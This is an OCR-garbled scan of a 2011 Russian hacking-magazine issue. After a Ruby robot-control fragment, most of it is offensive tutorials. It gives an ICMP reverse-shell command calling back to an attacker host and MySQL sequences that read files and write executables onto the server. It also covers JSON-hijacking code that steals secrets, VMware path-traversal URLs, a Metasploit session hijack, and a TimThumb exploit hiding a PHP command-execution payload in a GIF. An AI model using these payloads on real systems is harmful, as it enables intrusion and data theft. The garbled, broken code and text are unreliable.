с = STDIN.getc.chr if (c==':.~~) __ exj: са _thread = Th r_ea_d. new{ ___________________________ __ с-=_с + STDIN.getc .chr _______________________________ _

с= с+ STDIN.getc.chr } extra_ t h read .join (0. 00001) extra_thread.kill

_en~d ______________________________________________ _

rescue -> ех _ gutL1t{ex.class}: #{ex.message}"

puts ex.backtrace ensure

system "stty #{old_state}" end ________ _

r eturn с # м а гия_КQ_Нчается ______________________________________ _

ХАКЕР 10/153/2011

БАЛАНСИРУЮЩИЙ ДВУХКОЛЕСНЫИ РОБОТ

Видеочат на колесиках

ч то бы сделать балансирующего робота, нужна простая двухко ­

л еснаяробоплатформа,ккоторойнеобходимодобавитьгироско п

для измерения угловой скорости отклонения (чтобы понять, когда

робот начнет заваливаться! и акселерометр, чтобы знать, в какую сторону на­

правленагравита ция,икорректироватьпоказаниягироскопа.Выпускаются ,

правда , эти микросхемы в ужасно мелких корпусах, с которыми работатьдома

почти невозможно, поэтому проще воспользоваться DIР-модулями , например

от компании Spaгkfun (гироскоп spaгkfun . com/pгoducts/9059 и акселерометр

spaгkfun.com/pгoducts/844 1 . В качестве основы можно взять файлы проекта

AгduRolleг (github . com/fasaxc/AгduRolleгJ-тaм уже есть готовый код и схемы.

gruL

!разбираем~я~~очитанными клавишами def show_single key __________________________________ _

. с = read_char case с # по нажатию к нопки отсылаем сообщение when " \е[А"

_guts "Bnep~·-· [email protected]_r_(@recigien_1,[email protected]_o_s+" "[email protected]_~). ______________ _ when " '.е [С_

puts "Наnраво"

@im.deliver(@recipient, "0 "[email protected]_s) when "\e[D" guts "Налево"

_@im. deliver_(@r_ecigient, @а. t _o_s+" 0" ), ____________________ _ ltiJ!tФRЫ от 1 до 3_о_п_ре~ют ско'J,р",о",с"'"т,.ь ______________________ _ when "1" puts "1" @а = 255/ 3

when "2" _puts "2"

_@a= 255*2/3~------------------------------------­when "3" puts "3" @а = 255

# по esc прикрываем лавочку

when "'.е"

Process.exit end !illQ___

#запускаем прослушку до конца времен

show_single_key while (true)

Все готово! Запускаем клиент и сервер и катаемся по квартире. Потом

можно провести и ул ичные испытания-общаясьсослегка изумленными

прохожи ми .

КУДА КАТИТЬСЯ ДАЛЬШЕ? Сколько это стоило? Натележку с моторами, аккумуляторами и прочим

ушло не более 100долларов, нетбук я брал свой, но за парусотенточно

можно приобрести подобный слегка подержанный. Ителеприсутству­

вать в разных местах!

Хотя на зто м не стоитостанавливаться! Легкозаставить его кататься

повагонамзлектрички,собираяпожертвованиянаразвитиеотечествен­

ной робототехники, итакокупитьзатраты на его постройку. А можно

установить на него полноценную робооперационкуRОS ( гos . oгg/wiki/ 1, навесить разнообразныхдатчиков идавести его по интеллекту доуровня

WillowGaгage PR2Igoo.gi/SDгB I или RBot ( гbot.гu l. ::Х:

Page 41: Хакер №10 (октябрь 2011)

ВЭЛОМ/ЕАSУНАСК Тюрин «GreenDog» Алексей, DSecRG.ru [agrrrdogfiJgmail .com, twitter.com/antyurinl

ОРГАНИЗОВАТЬ СКРЫТЫЙ КАНАЛ СВЯЗИ С КОМПЬЮТЕРОМ ЗА ФАЙРВОЛОМ

Конечно, самое nростое- это эабиндить шел л на каком-нибудь

ТСР-nорту или организовать back connect . Н о что делать, если эти возможности недостуnны: на бинд-шелла не хватает nрав, а исходя­

щиеТСР-коннектыблокируютсяфайрволом?

В наш ем расnоряжении все другие nротоколы, инкаnсулировать

можно куда угодно. Один иэ отличных вариантов- исnользовать

ОNS -тун нель в варианте, реализованном Алексеем Синцовым [читай

в 147-м выnуске Xl . Но сегодня мне хотелось бы рассказать об исnоль­

зова нии шелла, работающего через nротокол ICM Р, -а если конкрет­

но, то о реализации от Вегnагdо Dame le и егодруга Nico : геvегsе icmp shell . Как ясно , в данном случае на клиенте [то есть у нашей жертвы !

открывается шел л и весь его исходящий трафик nихается в nаке-

ты ICMP echo гequest [обычные ping ' иl. У нас на сервере мы nарсим

данные входящих заnросов, а в ответных ICM Р есhо-герlу-nакетах

n ередаем команды клиенту.

В nринциnе, тема довольно стандартная, но эдесь есть две от­

личительные и nриятные для нас о собенности. Во-nервых, так как

Работа IСМР-wелла : сверху-клиент, внизу-сервер

это по сути back connect, то шансы nреодолеть файрвал существенно nовышаются. Во-вторых, и это главная фишка, этот ш ел л не требует

админских nрав: разработчики nотрудились и не исnользовали гаw

socket'ы . Итак, юзаем.

У жертвы __ _ icmgsh.exe -t ha.ck.er.ig,__ ___ _

Имеется несколько настроек клиента , которые выбираются в зави­

симости от необходимой скрытности и скорости канала. Тулза немного

глючит, так что некорректные настройки будут заметно сказываться на

работосnособности .

У себя

~Licmpsh_m_,JlY ha.ck.er.iQ vi .ct . im .ip,__ __________ _

Здесь мы указываем по очереди свой IP и адрес наш ей жертвы, откуда будут nриходить nинги. Клиентская часть наnисана только nод

Windows, что, в общем-то, логично. Работаетотлично у бесnравных

юзеров, как на ХР, так и в 7-ке.

С ерверная часть реализована сразу на трех языках- Регl, С,

Python . Хотя и заявлена работа на всех ОС, но на nрактике нужно nоль­

зоваться никсами. Связано это как ми ни мум с тем, что nередза nуском

серверной части необходимо отключить у ОС ответы на входящие

ICM P-ping-зanpocы :

.s.ysctl -w net . igv4.icmg echo ignore "'al"'l.,-,..1~--------

Еще одна nриятность в том, чтоданный комnлекттеnерь официаль­

но ВХОДИТ В sqlmap. Конечно, защититься от такого хека очень nросто: админу будет

достаточнолишьзаблокировать исходящий IСМР-трафик . Однако на

nрактике это делается крайне редко, nоэтомутема будет работать в

абсолютном большинстве сетей.

ХАКЕР 10 /153/ 2011

Page 42: Хакер №10 (октябрь 2011)

EASY HACK

ПОЛУЧИТЬ ДОСТУП К ФАЙЛОВОЙ СИСТЕМЕ ИЗ MYSQL •• r. ... i!!t.ii АЪТ

Сейчас блекхатам часто нет см ысла лезь в корпоративную сеть, ведь

основной профит-база данных, которая обычно «доступна>> через

веб-nортал комnании. Сломал сайт- получил доступ к БД, дальше

лезтьобычнонетсмысла.

Но так бывает не всегда. Например, ситуация: мы поимели какую-то

базу данных, н о на ша цель-другая система н а том же хаете . Воттут и

появл яется задача получить возможность выполнять кома нды в ОС или

хотя бы читать файлы. Второго добиться проще, так как этотфункцио­

нал часто доступен непривилегированным п ользователям СУБД .

Основной п уть- использование функции Loa d_ Fil el!. Для чтения

необходимы при вилегии FILE и CREATETABLE. Кстати, под виндай шансов на удачное чтение файлов больше, так как мускул запускает­

ся под привилегированной учет ной запис ью LocaiSystem. В луч шем

случае, если у на с есть возможность выполнять последовательность

команд, для чтенИ'Я би нарного файла потребуется следующий код:

SELECТ HEX{LOAD_EILE_(~:/tesj:._exe)) INTO DUMPFILE 'c:LwindowsL __

tеmр/ЫаЫаЫа' ;

CREATE TABLE readtest(data longtext );

LOAD DATA INFILE ' c:/windows/temp/ЬlaЬlaЬla' INTO TABLE

readtest FIELD ТERMINAТED ВУ '\\' (data);

П оясню . Здесь в п ерво й строке мы читаем необходимый би нарник и

пихаем его во временный файл в шестнадцатеричном виде. Это необхо­

димодля того, чтобы nревратить бинарник в «обычный >> текст. Дальше

создаем таб·л и цус одни м полем ти п а longtext. В третьей строке- под­

гружаем только что созданный временный файл в нашу новуютабличку

с учетом разбиения строки по типуокончания строк. В общем, все логич­

но. При чтении текстовых файлов от пер вого п у нкта можно избавиться.

Для того чтобы за писать файл в ОС, необходимо иметь права FILE,

UPDATE, IN SERT, CREATETAB LE . По сути, нам требуется уже описан­

ная команда SELECT с указанием INTO DUMPFILE. Сразу отмечу, что у

нас есть возможность только п ереза писывать существующи й файл,

но никто не мешает нам сначала его прочитать, а п отом, добавив свои

данные, записать обратно. В сложных случаях , ко гда нам необходимо

залить би нарни к, мы можем вос п ользоваться с л едующей последова­

тельностью. Во-первых, разбить бинарник на части в виде hех-строки

длиной по 1024 байта . Во-вторых, выполнить следующи е команды :

CREATE TABLE writetest(datalongЬlog); INSERT INTO writetest(gata) VALUES (0x4d5a90 .. 61000Q); ____ _

UPQATE.writet.e .. sJ . S.~T d;~:t;<;~.=..h!WCAT(gg_tБ,!!X.a!l;m!e~.~); ___ _ [~] ; _________________ _ SELECT data FROM writetest INTO DUMPFILE 'C:/windows/T~pLtest.exe' ;

Здесь мы на первом шаге создаемтабличку с одн им полем для

хранения бинарника. На втором шаге в данное поле мы кладем первую

hех-строку.А потом последовательными командами ко н катена ции

добавляем остальные hех-строки . На последнем шаге, за счет селекта,

скидываем значение поля в ехе ' шик в любом месте ОС. О п исанные мето­

дики основаны на работе Бернандо Дамеле IBiackHat 2009, goo.gl/23808).

ОБОЙТИ FRAMEBUSTING-ЭAЩИTY itJ.•k!t.ii

Пару номеров назад я рассказывал про XSS-tгack lgoo.gi/1XmF8) -на­

грузку для ХSS-уязвимостей. Суть ее в том, что она добавляет н а

уяз ви мую страницу фрейм размером во весь экран , в котором за­

гружается другая страница этого же домена . Пользователь nри зто м

видит нормальную страницу сайта, но все его действия отслежива­

ются ХSS-трекером: все, что находится внутри фрейма, доступно из

JavaScгipt, а кроме того, некоторые действия можно и эмулировать .

Кросс-доменные политики тут не действуют, так как пользователь не

покидает домена .

Впрочем, оттаких фреймовых нагрузокдавно уже есть за щита. В

простейшем виде она представляетсобой небольшой JavaScгipt:

<script type="text/javascript">

if(top != self) top.location. replace ( location);

5-.Lscгi.pj:~-----··---··- ___ ...... ···-··-···

Данный скриптразмещают на страни цах защищаемого сайта . Он

прове р яет, за гружен ли в фрейме, и перезагружает страни цу в с лучае

обнаружения это го факта. Но и здесь мы кое-что можем сделать . Один

из с п особов, правда, не очень гуманный-обрезать возможности

яваскриптавофрейме. Делаетсязтозасчетиспользова ния параметра

sandbox, который появился в HTML5 и уже п оддерживается браузерами.

< i f rame s rc..:;lhttp: 1 Lwww. v ictim. comtia nd box="allow-same-origin

allow-forms allow-scripts"></iframe>

Здесь мы <<разжали >> нашу песочницу, позволяя проводить боль­

шинстводействий внутри фрейма в штатном режиме. Если мы уберем

allow-scгipts, тояваскрипты в нутри фрейма не за п устятся. Но что в аж-

ХАКЕР 10 / 153/ 2011

.л J

но для нас , allow-top-navigation в списке разрешений отсутствует, тем

самым запрещая скриптам внутри фрейма переходить на дру гие сайты

основным окном. То есть с фрейма жертва уже никуда н е денется .

У данной технологии обхода fгamebu sti ng-зaщиты есть один

временный минус: поддерживается эта новая НТМL5-фича только п о­

следн ими браузерам и, да и то не всеми. Туту ж задумаешься, насколь ко

круто иметь самый продви нутый браузер.

Вкачествеэкспериментальногоибраузерозависимоговарианта

можно предложить идеюобхода за счетвстроенной в IE8/9 защиты oтXSS.

Фича в том, чтобы переходить на страни цы с fгamebu sting'oм, добавляя

в адрес при переходе простейшиеJаvаSсiрt 'ы IXSS). Фильтр IE, «увидев >>

отраженную XSS'кy, автоматом отключаетяваскри птна страни це !той, что

внутри фрейма) , и fгamebusteгн e активи руется. Таким образом, для зкспу­

латации нам нужны почтидвеХSS-дырки. Одн а дл я того, чтобы подгру­

зить я васкрипте фреймом lstoгed XSS или гeflected, если ты з н аешь, как

обойти IЕ-фил ьтр) , и вторая-для подстанов ки во фрейме и активации

фильтра в IE. Согласен , что хитро, но как идея зтодовольно интересно.

.. ____ с __ о~ ..... ~~ -- C G> .. -· . -· ~ •· nn- ·~-..-..~- -~~~

C Q "or ~

--~~---......;._ :·~~·-.1-=rt~ :.::::,:: __ ·~ ,, .,..."

Включаем песочницу-отключаем я васкрипт во фрейме

01,3

Page 43: Хакер №10 (октябрь 2011)

ВЭЛОМ/ЕАSУНАСК

ВЫЖАТЬ МАКСИМУМ ИЗ XSS

Я хочу немного поведать о Shell of the Futuгe. К сожалению,

зто всего лишь экспериментальная разработка, так что пока кратко.

В HTML5 появляется та кая вещь, как COR- Cгoss-oгigin гequests.

С их помощью браузеры смогут посылать кросс-доменные вызовы

и получать ответы, если сервер зто разрешит. В итоге можно будет

туннелировать НТТР-трафик. По идее это выглядит так:

1. Жертва переходит по ссылке с XSS. 2. XSS подгружает нагрузку- шел л IShell ofthe Futuгel .

3. Мы разрешаем на своем сервере nрием таких СОR 'ов.

4. Шелл отслеживает действия пользователя и отправляет их СОR 'ами.

5. В СОR-ответы мы кладем необходимые для выполнения команды.

6. Н аш шелл читаетответы COR и выполняет необходимые действия.

До пятого пункта все работает прямо сейча с . По сути основная

фича -это возможность обработки ответов JavaScгipt'oм. В итоге мы

получаем реверсавый httр-шелл .

Технологии движутся. Что самое страшное- можно ползать по

атакуемомусайтуот имени нашей жертвы в своем браузе ре. Но здесь

уже не помогут ни framebusting, ни защита кукисов флагами HttpOnly/ Secuгe. Автор этого чуда -Лавакумар Kynnaн . Если интересно углу­

бить с я , рассмотреть тонкости и попрактиковатьс я -www.and l abs . oгg/

tools/sotf/sotf.htm l.

Ш•l·i!t.~1 т т т

GЕТ http://WNw-SOOIIe.com Shtoll of the Future

- d>eGooglt homo ..... to Ptntкt«' s ЬfO\VS«

g Send the tt!Qutst to the Shtl

о~ь-~

-~~g Ьody tolhepcoxy 8

----------- -- - -- --л------'1 _________ ; s.nd the fflPOf\Sf Ьоdу to т. SМtlof thtfuturtwtЬstfVtr Stndthe requestto

!Мvictim'JЬrowset'

Shell ofthe Future: официальная схема

УКРАСТЬ КОНФИДЕНЦИАЛЬНУЮ ИНФОРМАЦИЮ Ш•fAit.'i

В данной задачке я хо чу рассказать о такой вещи, как JSON

Hijacking . И хотя сейчас эта техника не слишком актуальна, мне очень захотелось рассказать о ней, так как она использует довольно

интересныеинеста ндартные подходы. Итак, напомню : JSON -зто

текстовый формат обмена данны ми, основанный на JavaScгipt и

используемый сейчас в основном вдjах-приложениях. JSON Hijacking

-по сути , это подвид CSRF ICгoss-site гequest foгgeryl, во всяком случае основан на н ем.

Предположим, у на с есть сервер, который при отсылке на http:// seгveг/sec гet-info .json GET-зanpoca изучает наши куки lнапримерl, и

если они имеют определенное зна чение, возвращает конфиденциаль­

ную информацию:

[ "аааа", "pa55word " ] __

Такая ситуация и называется СSRF-ведь сервер не проверяет ни­

чего, кроме наличия кукисов, и мы можем подделать запрос, например,

разместив на любой страни це винтернете следующий код :

$_~.с r i pt 5 r с= h t t р :L/ 5 е r_v_eJ'L5 е c_ce1:_info~j s оn > ___ _

Приобработкетакойстраницы браузеротправитза проснасервер

и п олучитсекретные JSОN-данные. Н о вот беда-это же не код

JavaScгipt, а массив JSON, и браузер, п онятное дело, не сможетего и сполнить . Как же нам получить отсюда данные? Решениележит в

том, чтобы переопределить в JavaScгipt понятие массива в функцию

следующим образом:

<5cript type="text / java5cript"> var 5ecrets; Ar ray_::_functioa.()_{ _________ _

~e_~rets_= thi5_; __

·хът

}.; ________________________________ ___ <L5criR.Q__

Теперь получаемый с сервера массив JSON будет обрабатываться как функция, возвращающая значение . Для извлечения значений nо­

требуется следующий с криnт.

LLдeлae_11__G ET -заа.рос_и__Dолучаем JSON

<5cript 5rc="http: / / 5erver/ 5ecret-info _j5on" type="text / javascript"></script >

Lfl!ынимаем_д.анные из функции (бывшего массива), _____ _

<scri~iQe=" text Ljavasc ri~t~·~· >~-------------

var yourData = ' ' ; var i = -1; while (secrets[++i] ) { yourData += 5ecret5[i] + ' ' ;

}

а le d(-'2'кtblдe!io_:__'_±_iQYI:Rat а);

</5cript>

В ито ге получается следующая ситуация. Мы создали специальную

страницу, которую можем разместить где угодно в интернете. Жертва

за ходит на нашу стра ни цу, и при условии, что она аутентифицирована

на уязвимом сервисе, мы получим конфиденциальные данные с зто го

сервера . В качестве примера м ожно вспомнитьзнаменитый ба г в Gmai l, который здорово нашумел в 2006 году : тогда можно было получать

сnисок контактов пользователя и читать его почту.

К счастью или к сожалению, сейчасданный метод н е работает: на

уровне браузеров запрещена возможность переопределения Аггау.

Хочешь проверить, что ба г работает,- ищи браузер времен Fiгefox 2.0.

ХАКЕР 10 /153/2011

Page 44: Хакер №10 (октябрь 2011)

EASYHACK

ПОЛОМАТЬВИРТУАЛКИПОДVМWАRЕ ...... м

Виртуализация, виртуализация, виртуализация- сейчас этим уже

никого не удивить. Со всей своей бородатостью, виртуализация

сейчас активно проникает и усnешно замещает существующие

инфраструктуры в различных компаниях. Оно и понятно: есть

масса плюсов- большое количество возможностей, глубокая

гибкость, централизованное управление, снижение финансовых

затрат. И упомянутая борода- как гарантия того, что большинство

возможных проблем уже были кем-то решены.

Впрочем, есть и трудности. Думаю, всем понятно, что если взлом­

щикуудастся поломать хостовую ОС, то считай, что и все лежащие на

ней гостевые системы тоже уже его. Одн'ако были и примеры ба го в ,

при которых специальный сплоит мог << сбегать» из гостевой ОС в

хостовую. Это реальная жесть: стоит поломать одну машинку- и счи­

тай, ты поимел всю сеть . Пример подобноготакого сплоита я видел

только один: автором бы11 кто-то из lmmunity, а уязвимость была в видеодрайверах.

Но зто конкретный хардкор.Чтоже мы можем сделать на nрак­

тике? Все примерно то же самое, только гораздо проще. Давай

вспомним , с чего все начинается. Конечно, с обнаружения целей,

с фингерпринта.Итак, наши цели это vSpheгe, ESX, ESXi, vCenteг,

Sегvег. Простейшие гуглодорки:

io_1;,itle: "Welcome to Vmware ESX"

i~title: "VMware Management Interface:" inurl: "vmware/ en/ "

Далее порте ка н: можно выделить порты 902/903, ответственные за удаленное подключение к хостовой ОС vmwаге-клиентом и стандарт­

ный набор портов http с веб-сервером <<vmwaгe httpd». Более четкий

сnисок - goo.g 1/NdMfy. Что дальше? Хотя портскан и показывает нам версию хостовой

машины, это очень приблизительная информация. VMwaгe позволяет

нам узнать точную версию вплоть до номера билда. Для данной цели

я накрапал скрипт для nmap'a. По своей сути, ничего экстраорди­нарного: на 443-й порт отправляется специально сформированный

SOAP-зanpoc, который и nредоставляетнам необходимые данные.

Теперь, когда мы точно знаем, кто наш противник , - переходим

в наступление. В общем-то , здесь главное- << nродукт >> VASTO. Это набор модулей к Metasploit Fгamewoгk от итальянских хакеров

Клаудио Крисционе и П аоло Каналетти, которые были представле­

ны на BlackHat 201 О l vasto . nibЫesec.oгg ). Набор позволяет произ­

вести целый рядатак на разнообразные системы виртуализации.

Мы посмотрим несколько из них. <<Установка >> модулей проста до

не возможности : разархивируем папку и кидаем все файлики в

%msfгamewoгk%\msf3\modules\auxiliaгy\vasto ly некоторых мо­дулей есть жестко приписанные пути). Далее, если взламываемая

Классический портскан ESX'

ХАКЕР 10 /153/ 2011

-- т

система старая !nримерно 2009 года, ЕSХдо версии 3.51, то отличная вещь для баловства это б ага CVE-2009-3733 . Суть- простейший

травереал директоринахостовой машине:

htt~/victim.com/sdk/%2E%2E/%2E%2E/%2E%2EL%2Eblfl%2E~2E/%2E

%2E/etc/passwd

Что это дает нам? Захватить контроль над хостовой ОС мы не

можем, но вот с качать все гостевушки -легко . Для этого читаем /etc/ vmwaгe/hostd/vmlnventoгy.xml и с учетом этих данных определяем

путидоvmх'ов.

Из новенького сразу можно вспомнитьдругой вектор атаки,

нацеленный на vCenteг- систему централизованного управления

большим количеством виртуало к. В wеЬ-сервере jetty до 6.1.1 6 при­сутствуеттраверсал:

btt.P-s.дvictim.шm/yciLP_g_ll!o:J&ads.L!Jйll!l.xml/%ЗF:f, ,/.~/ .. L •.. .J~L· . __ / .. / .. / .. /any _Ые

Через этот ба г можно добраться до файлов с секретными иден­

тификаторами клиентов lvpxd-pгofileг-*1, которые играют роль

своеобразных кукисов для общения клиента vCenteг с сервером .

Исnользуются эти идентификаторы с помощью модуля vmwaгe_

session_гideг. гb, входящего в комплектVАSТО. Последовательность

действий такова:

1. Через травереал получаем идентификатор.

2. BMSF:

-~u.uxiliar_yjva_sto/VIII!'!.<Jre_session_r_:LQ.e_c__ ..... ____ .. __ _

set RHOSTvictim.com set SOAPID 04D40C81-564E-4511-AC0D-D57FFA571E~

(это идентификатор)

run

3. В vCenteг клиенте IVI clientl указываем хост: 127.0.0.1:9999. 4. Осуществляем подключение.

После этого, если идентификатор еще жив, произойдет под­

ключение к vCenteг'y, при этом работа в самом клиенте никак от­

личаться не будет. Так как идентификатор имеет довольно короткое

время жизни !порядка 5 минут после выхода из системы), то в VASTO прил агается автоматизирующий все манипуляции файл- vmwaгe_

autopwn.гb. Есть и еще несколько модулей поддругие nродукты как

VMwaгe, так и других разработчиков, но это оставим на самосто­

ятельное изучение.

Определяем точную версию продуктов VMware

Page 45: Хакер №10 (октябрь 2011)

ВЭЛОМ/ОБЗОРЭКСПЛОИТОВ

Обзор эксплоитов Сегодня мы по кажем тебе, как завалить враже­

ский благ на WoгdPгess'e, как возыметь власть

надлазерными принтерами НР, как натянуть

ничего не подозревающих пользователей

Fiгefox'a, а также приведем очередное под­

тверждение тому, что в этих ваших линуксах [с]

тоже естьдырявый софт.

iv 1 ivin side. Ь logspot.coml pikofarad 1115612, дер . Крас ная звездочка, д .1 1

1 Удаленное выnолнение кода в WordPress'e TimThumb

CVSSV2 ~5

1111 111 11 111 11 111111 111 111 11 11 IAV: N/ АС : L/ AU: N/C: Р/1: Р/ А: Pl

~ Плаги н TinThumb и сnользуется многими темами в движке WoгdPгess и nр едставляет собой скри nт-утилиту timthumb.php, которая за­

нимается масштабированием изображений . Гу гл nоказываетоколо

40млнупоми нанийзтогоскриnта,чтоnозволяет назватьеговесьма

nоnулярным. В начале августа начала с ь волна взломов, связанных

сзтимскриnтом,дажеблогразработчиказтойутилитыбылусnешно

ха кнут с помощью баги! Уязвимость существует из-за того, что с кр иnт

поз воляет загружать и исnолнять РНР-код в nап ке с ке шем . Итак , раз­

беремся, что же тут происходит.

lj3Ц!•Iii Начнем с того, чтозакешироватьфайл можно с помощьютакого запроса:

http:/Lwww.targe.:!:_.j:ld/wp-content/themes/THEMELtimthumb. __ Rhr:>?src=htt g :LLЫ_ogger. сот. evildoma i n, tldLgocfile_.J1.hP ___ _

ХАКЕР 10 /153/2011

Page 46: Хакер №10 (октябрь 2011)

~~tmthumb php (PNG 81llede . 100х100 plxeis) ;~ Mozllla f1rcfox

Заnускаем калькулятор через б агу в timthumb.php

Слово «ТНЕМЕ» следует заменить на наз ван ие темы, ну и так далее.

Разумеется, не всётак просто. Во-первых, ке широ вать файлы раз­

решается не с любых доменов, а только с доверенных. П о умолчанию

список этихдо~енов представлен таким массивом:

$allowed5ites ; array ( _:_flickr.com' ,, ______________________ _

__:_picasa .com' . ' Ыogger.com' ,

' wordpress.com' ,

' img .youtube.com' , ' upload .wikimedia .org' ,

'photQpucket . corn_' ,

);_ ----------------------·

Фей л здесь состоит в том, что ссылка проверяется функцией stгpos

таким об разом, что если где-либо будет в стречаться такая п одстрока,

то URL пройдет проверку, что и было продемон стрировано в вышеобо­

значенном за просе. Если лень замо рачиваться с п оддоменам и , то

можно просто задействовать папку с именем ра з решенного домена .

Вторая фигня состоит в том, что мы должны дать понять скри пту,

что он имеет дело с изображением, а не с каким-тотам РНР-кодом. Это

достигается тем, что в начало нашего файла мы побайтово вставляем

какую- ни будь картинку, чтобы она там висела п о всем правилам фай ­

лового формата. Полезно будет изучить ин фу п о ссылке http://goo.g i/ We45j. там обсуждается создание миниатюрного GIF-файла размером

в 35 бай т. Итак, копируем эти 35 байт в файл, а после них [!l размещаем произвольный РНР-код- при ем, в общем-то, известный и ис п оль­

зуется очень часто. В качестве РоС автором эксплоита приведен

сл едующи й вариант:

\~47\х49\х4б~х38\ХЭ9\хб1\хе1~хее\хеl~хее~х8е\хее\хее

\xF F \xFF\xFF~xee~xee~~x2.1~xe4\xel~xee~~""xe..,.e'-----­

~~XК'l~x!!!!lxee~ee~e~~.!!.1~el~xee\xe2.\xe2.

\x44~xel \хее\хЗВ~\хЗС~хЗF~хб8~х7е\х2.е\х4е\,..._,хб.,.Sс___

Выnолнение nолезной нагрузки в Fiгefox 3.6.16

ХАКЕР 10/153/2011

Обзо р экс плоитов

~х7бl_хб~хбС~х 2.8~х2.4~х5F\х47~х45\х54\х5В~х2.7 ~хбЗ~@_ __ _ \)<64~~;?.Z';х~~х 2.9~~х2.е~хЗF~ХЭ_Е;~хее .

Этапростынянасамомделепредставляетизсебяпростейшую

G IF-картинкус дописанным в кон це бонусом в виде <?php raeval[$_

G EТ['cmd'JI ?>. Посл е ска рмливания наше го файла cкpиптytimthumb.p hp

его можн о будетобнаружит ь в папке /wp-content/themes/THEME/cache/

и, что самое главное, безболезненно за пустить е го оттуда. Дополнитель­

ное описа ние можно взять отсюда : www.exploit-db.com/exploits/17602.

if.)ьld:Jti WordPress TimThumb Plugin 1.• -1.32

,_i,J!Iii[•J:I Существует несколько рекомендаций по поводу решения этой про ­

блемы . Во-первых, обновление: в версии 1.34 nробле ма уже решена.

Во-вторы х , можнотупо удалить этот с кри пт, убедивши сь при этом, что

безнегоблогработаетнормально . В-третьих, рекомендуютудалить

все строки из массива с доверенными доменами, то есть заменить

вышеупоминавшийся массив на $allowed5ites ; array (); . Таким об­разом , с кри пт сможет работать только с локальными файлами, чего в

больши нствеслучаев достаточно.

Кроме того, если ты являешься владельцем бл а га н а WordPгess'e,

то не помешает nроверить, не поимели ли теб я с помощью этой ба ги:

1. Залоги н ься на сервер чер ез SS H. 2. Перейди вдиректориюсWогd Ргеss.

3. Выполни команду << grep -г base64_decode •,,, Если в рез ультатах выдачи присутствуют длинные закодированные строки, то, воз­

можно, тебя поимели.

4. Также следует пров еритьдиректорию/tmр на наличие подозри­

тельны х файлов с расширениями txt или php.

2 Множественные уязвимости в принтерах НР Laser Jet Рхххх Series

CVSSV2 ~8

1111 1111 1111 11 1111 1111 11 111 11 [AV: N/ АС: L/ Au :N/C :С/ 1 :N/ А: N 1

Шiim Кто бы мог п одумат ь: в сос таве Metasploi t Framewo гk 'a планомерно

начинают появляться экс пл оиты подапnаратное обеспечение разного

рода . На этот раз зат р о н уты были принтеры Lase r Jet фирмы Hewlett­

Packard. Кажется, недалек тот день , ко гда будут nоявляться экспло и ­

ты под микровол новки и стиральны е машины. Сегодня же п од удар по­

пали те принтеры, где имеется возможность у п равления по Сети через

специальный язык PJL [Printer Job Languagel. Путем формирования с п ециальны х запросов к при нтеру через ста ндартны й JetDirect-пopт

9100 можно nолучитьдоступ к файловой систем е принтера, а также

посылать произвольные команды на языке Р JL.

IJIQ!•Jii Два модуля под принтеры доступны в составе MSF п од именами hp_ priп ter_pjl_t raversal и hp_priпter_pjl_c md . Первый их ни х позволяет

Page 47: Хакер №10 (октябрь 2011)

ВЭЛОМ/ОБЗОРЭКСПЛОИТОВ

tст~адреса 1 ДО Ох 7fffffff

ГlоnаДаем сюда

Ox3c0dff7d

Ох06ЮОООО

1 М11аДu.ие адреса + до ОхОООООООО

.. ..

------------------. 1 1 : Другие структуры 1 1 1

Куча

1 1 : Другие структуры : ~------------------1 До Т'f)ИМеНеН4Я техi-ИО4

heap sprayhg

Схематическое изображение метода heap spraying

получитьдоступ к файловой системе принтера. Опции эксплоита не

отличаются оригинальностью:

RHOST -таргетный адрес.

RPATH- путь в удаленной файловой системе.

RPORT -таргетный порт.

Читать файлы можно командой « !г FILE» в интерактивном режиме,

п е реходить в корневую дире кторию кома ндой «/», а командой<< .. » ­

на один уровень вве р х по файловой системе. П о ее структуре, кстати,

можно заметить, что на принтерах стоит некая юникс-подобная ОС

[типа LynxOS), а если прочитать файл /etc/passwd, можно обнаружить,

что в качестве командной оболочки фигурирует /Ьin/dlsh .

Второй модуль MSF позволяетотсы лать проиэвольны е Р JL­

команды принтеру. Помимо уже привычных опций RHOST и RPORT,

есть важный параметр СМ О- собственно команда, отсылаемая

принтеру. В нашем примере фигурирует кома нда чтения файла /etc/

passwd, хотя на самом деле их до статочно много, при желании можно

ознакомиться с мануалом к этомуязыку по ссылке http:Ugoo.gi/UKesp .

''·'tld:tfi НР Laseг Jet Рхххх Seгies, возможно, все принтеры Laseг Jet с поддерж-

койуправленияпоСети.

На данный момент решения проблемы не обнаружено .

3 Firefox 3.6.16 OBJECT mChannel Remote Code Execution Exploit (DEP bypass)

CVSSV2 10.0 11111 1111 111 111111111

1ШJШ

11 11 11 [AV:N/AC:L/Au:N/C:C/1:(/A:C)

Дата релиза: 5 августа 2011 года , автор : RhO, CVE: CVE-201 1-0065.

Уя звимость use-afteг-fгee в Mozilla Fiгefox 3.6.16, дающая возмож­

ность атакующему выполнить проиэвольный код в контексте пользо ­

вателя, запустившего браузер, была обнаружена гegenгecht'oм, а опи­

сываемый здесь модульдля metasploit 'a создан RhO. Суть уяз вимости

заключается в том, что mChannel, являющийся элементом OBJECT'a,

tст~адреса 1 ДО ОХ 7fflfflf

Попадаем сюда

Ox3c0dff7d

Ox06IOOOOO

1 Млaдi!JIIe адреса + ДО ОХОООООООО

... ~

------------------, 1 1

: Другие структуры : 1

внедреНная куча

ВНедреNiая куча } nop + shelcode

ВНедреNiая куча

8недрежая куча

Куча

1 1 : Другие структуры : ~------------------•

может быть освобожден через метод OnChanneiRediгect, принадле­

жа щий интерфейсу nsiChanneiEventSink, в р езультате став ви ся щим

указателем . Впоследствии он может быть повторно использован,

когда будет происходить установка атрибутов данных для ОВJЕСТ'а.

Оnисываемый модульдля metasploit'a использует в с воей реали за­

ции технику heap sргау с RОР-цепочкой для обхода механ изма DEP на

Windows ХР SРЗ.

IJЗQ!•Jii Использование ранее освобожденной памяти может привести к раз­

личного рода неблага приятным последствиям, начиная от искажения

используемыхданныхдоисполненияпроизвольногокода.Впро­

стейшем случае искажение данных может привести к повторному ис­

пользованию освобожденной системы памяти . Ошибки use-afteг-fгee

имеют две общих и иногда пересекающихся причины:

Один из поnулярных nринтеров НР, nодверженных уязвимости

ХАКЕР 10/153/20 11

Page 48: Хакер №10 (октябрь 2011)

----~~~.~~..7.,------~~=-~--~~~~·-~~==~~~~~

Fi~ Edtt View Go ~

О Е (93of309) Fit P.aoewidth :

Тhumbn&Us . )( S.ЗО Envtronment Commutds

~ .,

[] Example: Senlng the

Prlnter to а Deslred State

